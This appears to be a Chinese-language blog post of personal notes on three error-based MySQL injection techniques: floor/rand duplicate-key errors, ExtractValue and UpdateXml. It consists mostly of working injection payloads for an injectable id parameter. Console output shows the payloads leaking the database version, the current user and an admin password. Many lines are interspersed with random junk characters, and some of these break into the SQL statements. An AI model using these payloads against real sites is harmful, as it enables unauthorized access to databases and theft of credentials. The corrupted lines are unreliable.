关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
2 |) q( u0 @  G2 p' d7 H" c实际测试环境：
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: c; p/ z) E9 z# o( _3 C  F: c: E: _mysql> show tables;
+----------------+
1 s- n) O/ |6 z| Tables_in_test |
$ g4 S  `4 C( s$ m# T4 B) P+----------------+
| admin          |
| article        |
5 [5 {" Z8 M2 [+ Z+----------------+

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0 }* A. F  B2 \6 P2 W9 K3 `mysql> describe admin;
# X, F( g& j5 b+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
/ R  z2 Q$ O& [6 H2 |7 ]+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
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mysql> describe article;
& W- K* @+ c2 H5 Z" F+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
% s7 `. v: X/ n" s+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
, V: Z+ `6 K0 z, H! y( V| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
& c0 i8 z) e7 i# h1、通过floor报错
可以通过如下一些利用代码

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and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
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and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
# L3 a5 ?' _9 u/ L4 z举例如下：
首先进行正常查询：
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mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
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mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
9 c( ?' y0 R& z( p8 B可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
$ M3 q; ~. }4 w2 QMethod1:
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, ~; {: Q& N! F' ^" \" D2 |0 ymysql> select * from article where id = 1 and (select 1 from
+ [( P- u( e7 \(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
& C# j$ \% L, v) V) D0 ?+ D( ]ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
  D5 u6 b' f2 v, Z! L) k7 {Method2:
6 L$ m+ J9 M9 I; ]+ e5 ^* M
$ R6 H! {5 s1 U
mysql> select * from article where id = 1 and (select count(*)
" K. j6 Z/ X* Q) \. f: kfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
) x5 ^5 U9 k8 m/ p1 Z8 r  Pfloor(rand(0)*2)));
/ c$ X1 m! |' S- ]4 @  H: w" zERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下


and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
* p: ~! L3 c2 Z实际测试过程

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8 O: c2 O6 W3 l& H7 z1 Q+ q" Omysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
: O1 e) w0 |4 R$ ^* P(select pass from admin limit 1)));--
* s1 v# r* N' R* O% Y. yERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
4 g3 z9 }9 y) `9 c0 O测试语句


3 \* R. [7 R+ Q/ P) E% L- d0 jand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程

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! f; `7 K6 Y# Hmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
# j4 n. a2 g7 A& l) Z: {(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
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